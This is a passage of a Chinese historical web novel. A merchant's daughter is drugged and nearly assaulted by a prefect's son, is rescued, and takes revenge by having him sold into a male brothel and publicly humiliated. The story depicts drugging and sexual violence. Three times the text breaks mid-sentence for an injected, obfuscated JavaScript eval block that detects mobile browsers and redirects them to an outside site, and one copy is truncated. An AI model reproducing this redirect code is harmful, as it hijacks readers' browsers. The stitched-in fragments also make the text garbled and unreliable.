但刘远志肯定不会放过她的。
他会将这件事当做把柄来威胁她,让她随叫随到,对她为所欲为。
一旦她不听话,他定然会将这件事暴露出去。
流言猛于虎,到那时,即便她想活,江家也不会让她活了。
江家不会任她这样一个有辱门楣的媳妇活着,让他们被世人耻笑。
所以,她只能以死相逼,来让刘远志住手。
刘远志如何会住手呢?
没尝过她的滋味儿前,他日思夜想心心念念着,如今尝过了,更加舍不得放开了。
沈映秋以金簪抵脖的举动,在他看来不过如小奶猫挥拳一般毫无威胁,他轻易就将簪子从她手里夺了过来,丢到一边。
而后将她打横抱起,大步走进内室,将怀中的美娇娘放到床榻之上,“美人儿,你可知我想了你多久?”
在沈映秋嫁人之前,他就听过她的貌美之名,那时候他嗤之以鼻,一个商户女,满身铜臭气,能有多貌美?想来不过是故意营造出美貌之名,好嫁入高门大户罢了。
但她不知道的是,高门大户看重的根本不是美貌,而是家世。
只能说,商户女就是商户女,蠢得可笑。
待她出嫁后,他才得知,自己那清高自傲不可一世的夫人居然和沈映秋是闺中密友,还要邀她来府中参加赏花宴。
这个时候他对她稍微有了点兴趣。
待到赏花宴那一日,他偶然于花丛间瞥了她一眼,就是那一眼,令他丢了魂,别的女人在他眼里都成了胭脂俗粉。
他发誓要将此女弄到手。
然而一番打听得知,她竟然就是那愚蠢的沈家女,前不久嫁进了郡守府江家,成了江家的二少夫人!
如此看来,她非但不蠢,还比绝大多数人都要聪明,不然如何能以一介商户女的身份嫁入郡守府呢?
为何她嫁人前他没能遇见她呢?那样他就能直接将人弄到手了。
如今她身为郡守府的二夫人,他想把人弄到手就难了。
一日在柳园喝闷酒,柳长盈见他闷闷不乐,提不起兴致,问他何故。
他便问她:“如何将一个身份不低的有夫之妇弄到手?”
柳长盈知道他是个什么样的人,所以他在她面前也从不掩饰。
柳长盈不答反问:“公子是想和她好一时,还是好一世?若只要一时之欢,直接将人掳来就是了,若要一世之欢,那非得先赢得她的芳心不可。”
刘远志:“一时太短,一世太长,总得把人弄到手玩腻了再说。”
柳长盈:“既如此,那妾身有一计。”
刘远志:“哦?快说来听听。”
柳长盈:“离间计,离间她与丈夫的感情,这样公子就能趁虚而入了。”
两人筹谋了一番,便有了后面“柳长盈酒楼抛撒枫叶情书,江明亭捡拾归还”这一出。
见这一出没起效,两人又来了个连环计,刘远志直接将江明亭引到柳园来,再叫沈映秋亲眼看见江明亭和别的女人亲热的一幕。
谁知这一回还是没能叫她二人离心,于是又有了今日的这一出“鲛人泪坠鲤仙湖”。
这才终于叫他等到了机会。
看着躺在身下温-香-软-玉的美人,刘远志迫不及待解开了腰带。
就在他以为可以得偿所愿,和美人颠-鸾-倒-凤时,后颈处忽然传来一阵剧痛。
他眼前一黑,倒了下去。
小松伸手抓住他,没让他倒在沈映秋身上,随手将他丢到了地上。
再看床上的沈映秋,泪眼朦胧,花容靡丽,每一次呼吸都像是妖精在吞吐迷香,令人头晕目眩,心跳加速。
小松只看了一眼,就像是被烫到般慌忙收回目光,胡乱扯过被子盖在她身上。
走出内室,小松将香案上的香炉直接扔到了窗外。
这香炉里燃的是“牡丹风流香”,是烟花之地的老鸨用来对付不听话女子的下流之物。
再贞烈的女子,一旦闻了这香,也会变成荡-妇。
走回来,他又将趴在地上浑身瘫软的银果提溜起来,来到脸盆架子边,将银果的脸浸入冷水之中。
牡丹风流香要解开也容易,用冷水洗脸或敷脸就行了。
过得一会儿,银果恢复力气了,摇头摆脑地挣扎起来,小松便放开了她。
方才虽浑身没了力气,但银果理智上是清醒的,知道房间里发生了什么事。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240219|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“多谢恩公!”
一得了自由,银果连恩公的脸都没看清,匆匆道了谢,便火速跑进内室之中,“夫人!”
瞧见夫人的模样,她吓得脸色惨白,夫人不会已经遭了刘远志的毒手吧?
掀开被子一瞧,见夫人身上衣裳还好好地穿着,顿时松了口气。
小松冲里头道:“用冷水浸湿帕子,给你家夫人敷脸,就能解了药效。”
银果立刻照做。
沈映秋一恢复力气,就下了床狠踹了刘远志几脚。
踹的不是别的部位,正是他的脐下三寸。
小松远远瞧见了,登时小腹一紧,觉得下-身也隐隐作痛起来。
这位沈夫人,是个狠人哪。
才解了药效,身上还有些虚软,沈映秋和银果互相搀扶着走出来。
沈映秋定定看了小松一眼,走到他面前,双手抱拳,朝他深深一拜。
“多谢救命之恩!”
小松忙托住她的手臂,不让她拜下去,“举手之劳罢了,沈夫人言重了。”
沈映秋:“于你是举手之劳,于我却是活命之恩,松大哥——”
小松:“咳,其实我不姓松,姓裴,裴松卿。”
沈映秋念了一遍:“裴松卿,好名字。裴大哥,你救了我,我不能没有表示,便酬谢你千两黄金,如何?”
她知道裴松卿爱财,既然是感谢他,那自然得投其所好。
裴松卿瞳孔一震,咽了咽口水:“千两……黄金?”
沈映秋:“若是裴大哥嫌少的话——”
裴松卿:“不不不,不少,这太多了,我实在是受之有愧啊。”
当然了,他只是嘴上这么一说,没打算真的拒绝。
送上门的真金白银,不要白不要。
沈映秋:“我的清白值这个价,银果——”
她朝银果伸出手。
银果机灵地递上钱袋子。
沈映秋将里头的金叶子、碎银子、银票都倒出来。
金叶子有十几片,碎银子有二三十两,银票有五百两。
她全都推给了裴松卿,“今日出门只带了这些银钱,稍后我会将千两黄金奉上,还望裴大哥莫要拒绝。”
这么多钱,还“只”?
而且听她的意思,这些钱并不包含在千两黄金的酬谢金里?
桌子下,裴松卿掐了掐自己的大腿,露出一个亮闪闪的笑容:“好说,好说。”
正要伸手将钱薅过来,就听她来了句:“不过——”
裴松卿的手又立刻缩了回来,他就知道,千两黄金没那么好拿。
沈映秋:“我还想请裴大哥帮我一个忙。”
裴松卿没有贸然答应:“你且说来听听。”
沈映秋看向内室中昏迷在地的刘远志,眼中闪过一抹冷厉的寒芒,“将刘远志卖进小倌馆,让他也体验一下,身、不、由、己的滋味。”
裴松卿眼中浮现一抹奇异的色彩:“你是说,让他被男人……?”
沈映秋点头,肯定了他的猜测。
裴松卿:“……你就不怕他事后找你麻烦吗?”
沈映秋:“所以我还需要裴大哥帮我做一件事,让他自顾不暇,没工夫来找我麻烦。”
15. 第15章
刘远志醒了过来,耳边一片嘈杂,睁开眼睛,眼前却依然是黑的,他感觉自己眼前被蒙上了一层布。
他想将这层布扯下来,却发现双手被绑住了,从触感来看,绑着他的是一种轻薄的纱布,若是依着他平时的力气,这纱布轻易就能挣脱开来。
但此刻,他却觉得浑身虚软,提不起劲来。
这是怎么回事?他不是正要和沈映秋共赴巫山云雨吗?
为何会——
哦是了,他想起来了,有人从背后偷袭了他,将他打晕了!
那他现在是在哪儿?
“我出五百两!”
“六百两!”
“老子出一千两!”
周围的竞价声,让刘远志感到异常的熟悉,这不是青楼女子出阁时被拍卖初夜的场景吗?
以前他可没少参与这样的竞价。
那些人在为谁竞价?
一会儿的工夫价格就飙升到了一千两,可见那女子姿色不凡。
不远处,传来一道矫揉造作的男子声音:“还有没有出更高价的?这位可是咱们小南强的头牌,还是个雏儿呢,你们瞧瞧这身段,这细腰-翘-屁……”
刘远志:小南强?这名字好像在哪儿听过,但一时竟想不起来了。
他正寻思着呢,不防屁股忽然被拍了下。
他懵了一下,蓦地意识过来,那被拍卖的人,竟然就是自己!
混账东西,他可是刺史府的公子!这小南强也太胆大包天了,竟敢把他抓来当众拍卖!
他想怒斥,想破口大骂,却发现自己一个字也发不出来。
一股寒意侵袭全身,难道他被人灌了哑药?
忽然,他想起来了,小南强,是宣城有名的男风馆!
当然了,这个有名,仅限于好男风的圈子,一般人是不知道的。
他作为风月场中的老手,去的都是秦楼楚馆,小南强这种地方只是偶然听闻过,没有去过。
没想到第一次来,竟是被当做小倌拍卖!
刘远志生平头一次感到了莫大的恐慌,现在他身不能动,口不能言,还被蒙着眼睛,也就是说,他所有向外求救的路子都被断绝了。
即便是熟人在这里,恐怕也没法把他认出来。
更让他心慌的是,周围的竞价声还在不断响起。
“一千八百两!还有没有人出更高价的?……恭喜钱老爷,今晚咱们小南强的头牌是属于你的了。”
“小乖乖,跟老爷我去房里快活吧。”
钱老爷捏了捏刘远志的屁股,朝自己人高马大的随从抬了下下巴。
高大黝黑如铁塔一般的随从轻轻松松将刘远志扛了起来,跟在自家老爷身后。
进屋后,随从将肩上的人往床上一丢。
钱老爷呵斥道:“没轻没重的东西,要是摔坏了我的小心肝,我打不死你!”
一脚踹过去,“滚出去,把门带好,守在外面。”
随从:“是,老爷。”
带上门之际,看见老爷猴急地扑到那个小倌身上,随从哆嗦了一下,浑身一阵恶寒。
幸好他长得皮糙肉厚,不然被老爷看上了,他宁愿去死。
“啧啧,这钱老爷真是一点也不怜香惜玉啊,看把咱们刺史府的公子折腾得……”
隔壁房间,裴松卿透过一个小孔,将钱老爷这边屋子里的动静瞧得一清二楚。
他旁边有个拿着画板和毛笔的瘦小少年,外号“老鼠”,老鼠外号寒碜,本事却一点也不寒碜,画得一手好画。
宣城市面上流行的话本子里的插画,还有那些见不得人的春-宫图里的画,有一大半都是他贡献的。
“老大,到时候刺史府要是查到咱们身上来,可咋办?”
老鼠嘴里担心地询问着,眼睛却是时不时凑近另一个小孔现场观摩一下,手上笔走龙蛇,画得飞起。
整个人都投入到了巨大的创作热情里。
好久没碰到这么鲜活生猛的模特了,还是免费的,他可不得抓紧时间多积累点素材?
裴松卿:“你要怕的话可以不干,不过先前答应给你的二十两黄金,到时候可没你的份儿了。”
老鼠瞬间变了一副嘴脸,英勇无畏地道:“我怕个球!老大,二十两黄金,说好的啊,到时候你可不许克扣我的。”
以往他累死累活没日没夜地画,一年也挣不到二十两黄金,如今只需要画一晚上,哦不,顶多一个时辰,就能拿到二十两黄金,他傻了才不干!
至于被刺史府追究?
大不了他跑到外地去躲一阵子嘛。
刺史府总不至于因为这个事儿通缉他吧,他又没犯法。
再说了,这种丑事刺史府哪好意思抓着不放呀?怕是巴不得早日揭过去。
总而言之一句话,干就完事儿了!
*
江明亭在走廊里焦灼地来回踱着步子,时不时朝院门口望一眼。
这天都黑了,秋娘怎么还没回来呢?
不会是出什么事了吧?
应该不会,她身边跟着银果和三斤呢。
可万一呢?
不行,他等不下去了,他要亲自去把秋娘找回来。
刚走下台阶,就见心心念念的人从影壁后走了出来,他惊喜过望,忙迎上去:“秋娘,你可算回来了。”
将人上上下下地端详一阵,见她好好的,心下大松一口气。
“饿了吧?我叫厨房做了一桌子你爱吃的菜,还亲自下厨做了你最爱吃的虾,不过这会儿菜已经凉了,我叫人拿去热一热——”
江明亭亦步亦趋地跟着她,低声下气地说着。
沈映秋冷淡道:“我已经吃过了。”
进了卧室,“哐”一声将门关上了。
江明亭捂着差点被撞到的鼻子,一颗心沉到了谷底,“秋娘,秋娘你把门打开好不好?我们好生谈一谈——”
沈映秋:“银果,把他赶走,我不想听见他的声音。”
她这会儿身心俱疲,只想泡个热水澡,换上干净柔软的衣服躺到床上好好睡一觉,完全不想搭理他。
银果打开门出来。
江明亭还以为秋娘终于肯理他了,刚露出惊喜的表情,看见是银果,眼里的光又黯淡了下去。
“银果,秋娘她可是叫你来传话的?”
银果一想到白天夫人遭的罪,就对他迁怒上了,要不是他惹得夫人生气,夫人会遇到那档子事吗?
要不是裴公子出现得及时,那夫人就完了!
她到现在都还感到心有余悸。
因此气不打一处来:“夫人说不想听见公子的声音,公子还是离开吧。”
江明亭肩膀一垮,表情似要哭出来,秋娘不会是厌了他吧?
“我,我这就走。”
转过身又想起来什么,从怀里掏出来一个精致的小锦盒,“对了,这是我到金雀楼给秋娘买的,你帮我交给她。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14250191|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
银果将锦盒交给夫人。
沈映秋靠坐在浴桶里,水面上漂浮着一层新鲜的花瓣,一股清甜的香气氤氲在空气里。
她捧起一捧水浇在肩头,看也没看,随口道:“放妆台上吧。”
*
刺史府。
一早,宋铮皎带着女儿瑜姐去给婆母请安。
刺史夫人拿了颗核桃给孙女,逗弄了一阵。
瑜姐小手握成拳头还没有核桃大,一只手抓不住,便两只手一块儿捧着,将核桃往嘴里送。
啃了半天,核桃皮没破一点,却是被她的口水给洗了个澡。
宋铮皎瞧着,不禁笑了笑,若是秋娘在这儿,恐怕要说上一句俏皮话:“瑜姐对核桃伤害性不大,但侮辱性极强。”
刺史夫人见了却有些不喜,眉头微微皱了皱:“皎娘,如今瑜姐也大了,你该好生教一教了,见了东西就往嘴里塞,知道的以为孩子馋,不知道的还以为孩子没教好,不懂规矩。”
宋铮皎险些气笑了,两岁大点的孩子,就论起规矩来了,婆母以为她是太后呢。
“娘你有所不知,瑜姐如今正处于口癖期,所以见到新鲜玩意儿便喜欢往嘴里放,这是孩子成长的表现,既不是馋,也不是不懂规矩。
“孩子跟我们大人不一样,我们可不能以大人之心,来度孩子之腹。”
“口癖期”这个说法还是她从秋娘那里学来的,秋娘虽出身商户,却总有些独到的见解,常常令她感到耳目一新。
这才是她能和秋娘处成朋友的根本原因。
婆母自诩出身京城高门,见识不凡,对她这个儿媳有些看不上,总是喜欢居高临下地“教导”她,如今被她教了,不知她作何感受?
看她那个表情,就知道她肯定被气到了。
宋铮皎心里暗爽。
刺史夫人语气有些冷硬:“是吗?我倒是从未听过这个说法。”
宋铮皎:“娘你又不是圣人,怎么可能听尽这世间所有的道理呢?您没听过也是情有可原。”
刺史夫人运了运气,这个儿媳是越来越牙尖嘴利了。
罢了,她不在这上面跟她计较。
“皎娘,你嫁进来也有三年了,生下瑜姐后肚子怎么就再也没动静了?远儿是刘家的三代单传,刘家的香火,可不能断在你这里。”
宋铮皎:我倒是也想生儿子,可你儿子成天不着家,我怎么生?
当然了,这话她也就在心里想想,嘴上是不能说出来的。
她委屈地低下头:“娘,夫君昨晚又没回来……”
刺史夫人没什么力度地斥责了儿子几句,转而又将火力集中在了儿媳身上。
“不是我说你,你成天打扮得这么素净,瞧着就寡淡,远儿见了哪里喜欢得起来?你还年轻,正是该打扮的时候,改日我叫绣房给你做几件鲜艳的春裳,远儿见了,说不定就愿意留下来了……”
宋铮皎也不反驳,默默听着,思绪却是转到了别的地方去。
管家忽然急匆匆地走进来,手里还拿着一张纸,“夫人,不好了……”
刺史夫人斥道:“老周,你也是府里的老人了,怎么还是这般不稳重?”
从容地端起茶盏喝了口茶。
周管家:他也想稳重啊,但是遇见了这种事,他哪里还稳重得起来?他没有火烧眉毛就已经很了不得了。
“夫人,有刁民在城中广贴告示,说咱们公子到小倌馆卖身!”
16. 第16章
刚还叫周管家稳重的刺史夫人,“噗”的喷出来一口茶,全然失了淡定。
“什么?!岂有此理!简直荒唐!”
周管家递上手里的那张纸,那正是他从外头墙上撕下来的。
刺史夫人忙接过来一看,只见告示上写着一个骇人听闻的标题——
“刺史府公子为爱卖身,初夜高达一千八百两!”
底下还配着一幅辣眼的小图——细皮嫩肉的刘远志赤-身-裸-体,被一个大腹便便胡子拉碴的老男人压在身下。
刺史夫人顿觉天旋地转,眼前一黑晕了过去。
手里的告示飘落在地,宋铮皎捡起来一看,呕!
她感觉自己的眼睛都要瞎了。
忙甩到一边,像丢掉什么脏东西。
“周管家,快去请大夫。”
大夫还没来,刺史夫人就被丫鬟掐着人中醒了过来。
她愤怒地将那张告示撕了个稀巴烂。
“不可能!远儿他绝无可能做这种事!这一定是有人在诬陷我儿,故意朝刺史府泼脏水!老周,快,去告诉老爷,叫他一定要把这件事查得水落石出,把那些刁民都给我抓起来关进大牢,我要把他们碎尸万段!”
周管家应声去了。
没多久,小厮来报:“夫人,有人朝大门口丢了个麻袋,小的打开来一看,里头竟是公子!”
刺史夫人:“什么?快把远儿抬进来啊!”
这时,大夫刚好到来,刺史夫人便带着人去了儿子院里。
一看见躺在床上的儿子,刺史夫人便觉得自己的心肝像是被剖出来了一样,痛不可挡。
“远儿啊,你怎么成了这样……”
一晚上功夫,刘远志就从一个风流俊美、意气风发的公子哥儿,变成了一颗仿佛被摧残过的小白菜。
浑身青紫,布满了道道淤痕。
裤子上还沾染了斑斑血迹。
“大夫,你快来给我儿看看。”
大夫上前,给刘远志把脉。
刺史夫人担忧地问:“如何?”
大夫收回手,“夫人,令公子只是受了些皮肉伤,并无性命之忧,只是□□处似是被人……呃,事后又没经过处理,故而流血不止,老夫这就开一剂方子,为令公子调理一番。”
刺史夫人看着床上的儿子,泪水汹涌而出。
大夫开了方子,又留下一瓶特效药,连诊金都没拿,便要迫不及待走人。
关于刺史府公子为爱卖身的传言,他也听说过,但只当是无稽之谈,哪想得到竟是真的呢!
如今他撞破了此等隐秘之事,一阵心惊肉跳,生怕麻烦找上身,只想赶紧远离这是非之地。
刺史夫人却是叫住了他,“大夫,今日之事,绝不可泄露一字,记住了吗?”
大夫忙不迭点头:“记住了记住了,夫人,老夫定不会在外多嘴。”
刺史夫人这才叫丫鬟将诊金给他。
大夫拿着烫手的诊金,满心忐忑地离开了。
刺史夫人在床边坐了半晌,亲自给儿子喂了药,这才起身离开。
离开前叮嘱儿媳:“皎娘,瑜姐我替你看管几日,接下来你就专心照顾远儿,上药擦身之事,务必要亲力亲为,不可假手于人,知道吗?”
宋铮皎:“娘,就是你不说我也会这么做的,您就放心好了。”
刺史夫人一走,宋铮皎便嫌恶地远离了床榻。
一想到刘远志被男人压过,她碰都不想再碰他了,还给他上药擦身?
以往他好歹只是眠花宿柳,她睁一只眼闭一只眼也就算了,如今他竟然还玩起了男人,这叫她如何能忍?
可她如今还没有儿子……
真是想想就心烦。
“少夫人,郡守府二夫人派了丫鬟来给您送糕点。”南溪进来道。
“快让她进来。”
银果提着一只食盒,被丫鬟领着进来。
“宋夫人,我家夫人有话叫我转达给您。”
宋铮皎便领着她去了自己的书房。
银果从怀中拿出来一封信,双手递过去,“我家夫人说,您看完信后要及时销毁,若是落入他人之后,后果将不堪设想。”
宋铮皎当即拆开信封看了起来。
看信的过程中,她的脸色是变了又变。
刘远志这个畜生!
竟把手伸到了秋娘身上!
还有南溪,她可是跟了自己数年,竟然背叛了自己,替刘远志做那下贱之事。
若不是她,秋娘也不会轻易进入酒楼,差点被刘远志——
幸好最后秋娘被人所救,不然她真是没脸再见她了。
宋铮皎闭上眼平复了半晌,走到水盆边,将信丢进去,看着信上的字迹被水洇开,渐渐消失。
“你回去告诉你们夫人,此事我定会给她一个交代,让她安心便是。”
银果离开后,宋铮皎回到房中,就见到南溪拿着帕子在给刘远志擦拭额头。
若是从前,她也不会多想,只当南溪是在替她照顾刘远志这个男主子,但是在看过那封信之后,她再看眼前的一幕,心里不禁冷笑一声。
她当真是眼瞎,连身边人跟刘远志勾搭在一起了都没发现。
南溪听见身后的动静,转头一看,是夫人回来了,忙起身想解释:“夫人,我——”
却见夫人冲她笑得柔软可亲:“南溪,这药你替我给夫君擦上吧。”
夫人的笑容里似乎暗示了什么,南溪心脏砰砰跳动起来,难道夫人终于打算让她来服侍公子吗?
见南溪面红耳赤地接过药膏,宋铮皎心底讽刺又悲凉,刘远志就是个贪花好色之徒,跟了他能有什么好下场?
最多不过是得宠几日,得些金银细软之物。
等他腻了,她的苦日子还在后头呢。
为了不让南溪遭刘远志的毒手,她没少费心思回护她,可结果呢?
既然南溪自己偏要往火坑里跳,那她便成全她,也算是全了她们主仆一场的情谊。
*
听了银果的回话,沈映秋悬着的心,慢慢落了回去。
她在信里,将事情的原委一五一十告诉了皎娘——她和江明亭吵架,刘远志利用南溪诱骗她进酒楼,用下作的迷香将她迷倒,意图对她不轨……到后面她让人将刘远志卖进小倌馆,以及城中流言的传播。
写之前她也迟疑过,刘远志到底是皎娘的丈夫,她知道了这些,会不会怪自己?
要不然,还是只将南溪的事告诉她好了。
但思来想去,她还是决定和盘托出。
因为一旦隐瞒,她们的关系定然就会变质,不复从前了。
事实证明,她赌对了。
皎娘没有因为刘远志而怪她。
“夫人,我已经将尾款给了裴公子,他当着我的面清点了一番,确认无误,说夫人当真守诺爽快。临走时他给了我一本话本子,让我交给您。”
翠娥过来了,向沈映秋禀报了跟裴松卿见面的经过,而后从挎包里拿出一本书来。
沈映秋接过来,书的封面上赫然写着“鸳鸯记”三个字。
翻开来一看,她的眼睛瞬间瞪大了,话本子开篇就放上去了一张十分劲爆的图,两个男人正在那啥啥。
再一看,底下那人,可不正是刘远志?
他的脸画得特别清楚!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267853|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>生怕读者认不出来一样。
裴松卿这办事效率真是神速啊,昨晚上才把人弄进了小倌馆,今天“刺史府公子为爱卖身”的流言就传遍了全城。
现在连刘远志的同人小说都出来了,还配上了精细的插图。
妙,真是妙极了。
那一千两黄金花得太值了。
沈映秋一边觉得辣眼睛,一边又忍不住往下翻,看得津津有味,啧啧称奇。
翻到中间,一张纸条忽然露了出来。
“沈夫人是个守信之人,下次若还有这样的好生意,沈夫人尽管找在下。”
后面还附上了一个地址:三花巷第七家,院子里长着一棵大槐树。
沈映秋不禁失笑,这个裴松卿,一单做完了还想着下一单,真是无时无刻不想着赚钱。
这一千两黄金还不够他花的吗?
她不知道的是,裴松卿刚到手的那一千两黄金,还没捂热就花出去了。
钱对于他来说,当真是不够花。
三花巷,院子里种着一棵老槐树的小院。
裴松卿坐在槐树下的石桌旁,将一张“县令委任书”递给赵延峰。
赵延峰抖着手地接过来,打开来看了看,又揉了揉自己的眼睛,还是难以置信。
“大哥,这上面盖着刺史大人的官印,说明这份委任书是真的!”
裴松卿:“废话,当然是真的了,这可是我花了足足一、千、两、黄、金买来的,如假包换。”
赵延峰:“大哥,这上面写着我的名字——赵延峰,嘿嘿,从今天开始,我就是秋浦县县令了?”
裴松卿踹了他一脚,“都已经是当县令的人了,以后可得给我稳重点儿,别动不动就一脸傻笑,瞧着就好骗。”
赵延峰将县令委任书捂在怀里,身体左右扭了扭:“我高兴嘛。”
从衙门里一个没编制没地位的小小书吏,一跃而成为一县县令——朝廷的九品命官,他能不高兴吗?
裴松卿一阵恶寒,往后跳开一步,离得他老远:“你再这样试试?信不信我一拳把你肠子打出来?”
赵延峰不敢再扭了,一秒恢复正常。
“咳咳,大哥,你花那么多钱给我买了这个县令位置,那我到任后,是不是得大肆搜刮民脂民膏,尽快把本钱赚回来啊?”
裴松卿送了他一记板栗:“搜刮你个头!赵延峰,你脚底板的泥都还没洗干净呢,就想着搜刮百姓了?你要敢给我为非作歹胡作非为,你看我不打折你的腿!”
赵延峰:“大哥,我就是开个玩笑嘛,你放心,我到任后一定会努力做一个好官,为百姓谋福祉,争取让她们都过上好日子——”
裴松卿做了个制止的手势:“停,我给你花钱买官,也不是让你去造福百姓的,咱没那么高尚的情操,我是想让你——”
他朝赵延峰勾了勾手指,示意他把耳朵凑过来,免得隔墙有耳,把他们的机密听了去。
“到任之后,你那个官儿差不多当一当就得了,不必太认真,你的主要任务是巴结上峰,若是能巴结上上峰的上峰,那就再好不过了。”
赵延峰生出了疑惑:“大哥,先前你让我努力讨好朱大人,现在又让我巴结上峰,你到底想让我干啥啊?搞得我都糊涂了。”
裴松卿:“你别管,照我说的去做就是了,等时机到了,我会告诉你的。”
他要干的事,一旦泄露出去,就会引来杀身之祸,所以不是他不信任赵延峰,而是不敢告诉他。
毕竟赵延峰这傻子做不到像自己那样守口如瓶。
一阵风吹来,老槐树的叶子飒飒作响。
裴松卿仰天长叹一声,他的一千两黄金啊!
17. 第17章
下午,老夫人派人来叫沈映秋过去打牌。
沈映秋身为儿媳,能推辞吗?便拿着钱匣子去了。
这一下午,她就没赢过,光输钱去了。
其实她打牌的技术并不差,只不过打牌,打的不仅仅是牌,还有牌桌上的人情世故。
她固然可以在牌桌上赢她婆母的钱,但她婆母输了钱心情能好吗?
她婆母心情一不好,岂不是就要冲她这个儿媳妇撒气?
她可以毫不脸红地说,老娘不差钱,所以何必为了几两银子招来婆母的不快呢?
花钱可以消灾,也可以消去她婆母的烦闷,让她日子好过一点。
秉承着这个原则,沈映秋给自己打造了一个“牌技烂、手气差”的人设,成功荣升为她婆母最喜欢的牌友,没有之一。
这一下午,她照例输出去了几吊钱。
她做出一副郁闷晦气的样子来,她婆母却是春风满面,喜笑颜开。
偏偏她婆母还哪壶不开提哪壶,“老二家的,听说你跟明亭又吵架了?这两天都不准他进你的房间,把人赶去了书房睡?”
沈映秋强颜欢笑:“娘你听谁说的?没有的事,是明亭说书院里马上要考试了,得抓紧时间温书,这才歇在了书房里。”
江夫人:“鬼扯,温啥子书?秦婆子都看见了,前天你一大早和明亭出门,大晚上才从外头回来,一回来还对明亭甩脸色,不让他进你的屋,你快给我说说,你俩到底咋了?”
秦婆子是婆母安插在她院里的眼线,这事沈映秋早就知道,但她一直故作不知,有时甚至还会故意利用秦婆子传递些消息过去。
至于真正要紧的事,她是不会让秦婆子知道的。
沈映秋无奈道:“既然娘已经知道了,那我就不瞒着您了,明亭他,他偷拿了我的首饰送给外头的女人!”
说着她就将手里的牌一撇,用帕子捂着脸哭了起来。
一半是演戏,一半却是真的伤心。
两天了,她心里的气都还没下去。
江夫人:“哼,果然有啥样的老子就有啥样的儿子,明亭他爹当年在外头找相好,现在明亭也有样学样,外头的女人都是狐媚子!”
沈映秋听到公公的八卦,心里的悲伤都淡了,哭声也不知不觉小了下去,耳朵却是高高地竖了起来。
但她当儿媳的,不好打探公公当年的风流韵事,只能装作惊讶的样子,旁敲侧击。
“啊?不会吧?父亲身为郡守,向来清正严明,洁身自好,其他官员家里少不得会蓄养一些家伎,咱们家却是干净得很,父亲后院除了您,并无其她乱七八糟的人呀。”
江夫人:“你先把牌捡起来,继续打,为了个男人哭哭啼啼牌都不要了,像话吗?”
沈映秋:“……”
有时候,她真的蛮佩服她婆母的。
才打出去一张牌,就听见她婆母爆出来一句石破天惊之语。
“那死老头子哪里是洁身自好?分明是在为明亭他娘守活寡!”
沈映秋:“?”
没等她想明白,江夫人忽然问她:“老二家的,你知道我为啥讨厌你那个叫翠娥的丫鬟吗?”
沈映秋摇了摇头,直到现在她都还一头雾水。
也正是因为翠娥招了她婆母的恶,她才会将翠娥派出去,避免她婆母因为翠娥找她的麻烦。
“因为她名字里有个‘翠’字,一看见她,我就会想起来明亭他娘。”
沈映秋心里有了个不可思议的猜测,“娘,明亭他娘,不就是您吗?”
据她所知,老夫人叫江小红,名字里压根儿就没有“翠”字,所以——
难道江明亭不是她婆母亲生的?!
江夫人:“哼,我可生不出这样的儿子,明亭他娘叫雪翠,是个妓女。”
沈映秋心头一震,难怪嫁过来之后,她就觉得婆母对江明亭这个小儿子的态度怪怪的。
对她这个儿媳更是恶劣,变着法儿地折腾她。
要不是她使出了钞能力,而且对婆母并没有天然的敬畏感,怕是要被磋磨得不成样了。
之前她还以为是婆母不喜欢她这个出身比较低的儿媳,如今看来,婆母分明是迁怒了啊!
但话又说回来,对于婆母而言,江明亭是她丈夫出轨的产物,她对江明亭态度能好才怪了。
至于自己,实际上是她情敌的儿媳,自然更不可能得到她的好脸。
若是换成她自己,能忍受跟丈夫的私生子在一个屋檐下生活这么久吗?
想想她都不由得有些同情婆母了。
江夫人瞥了她一眼,“妓女之子,跟你这个商户之女倒是挺配,这也是我当初会同意这门婚事的缘故,要是换成我自己的儿子,我可不会看着他娶一个商户女。”
沈映秋心里才升起的同情,瞬间被她这句话给打得稀巴烂。
呵呵,左一句商户之女,又一句商户之女,这么看不起商户之女,你倒是把我的钱还给我啊!
她手指一动,换了张牌打出去。
这一回,赢的人成了她。
江夫人看看牌,又看看她,“你,你怎么赢了?”
沈映秋一笑,“侥幸而已。”
江夫人:“也是,就你那个牌技,能赢这一回不过是走了狗屎运。”
极其不舍地递过来几枚铜钱。
沈映秋要拿的时候她还不肯松手,她一使劲儿,拿来吧你!
接下来我要让你看看,什么才叫真正的牌技。
“哎呀不好意思,娘,我又赢了。”
“娘,我胡啦。”
“娘……”
一次又一次,她将先前输给婆母的钱,又全都赢了回来。
不仅如此,婆母还倒输给她好几吊钱。
江夫人输红了眼,赌气似的将手里的牌摔到桌上,“不打了!”
她满心以为沈映秋会来哄自己,结果她居然拿着满满当当的钱匣子,施施然走人了。
“娘,时候也不早了,我该回去了,儿媳下次再来陪您打牌。”
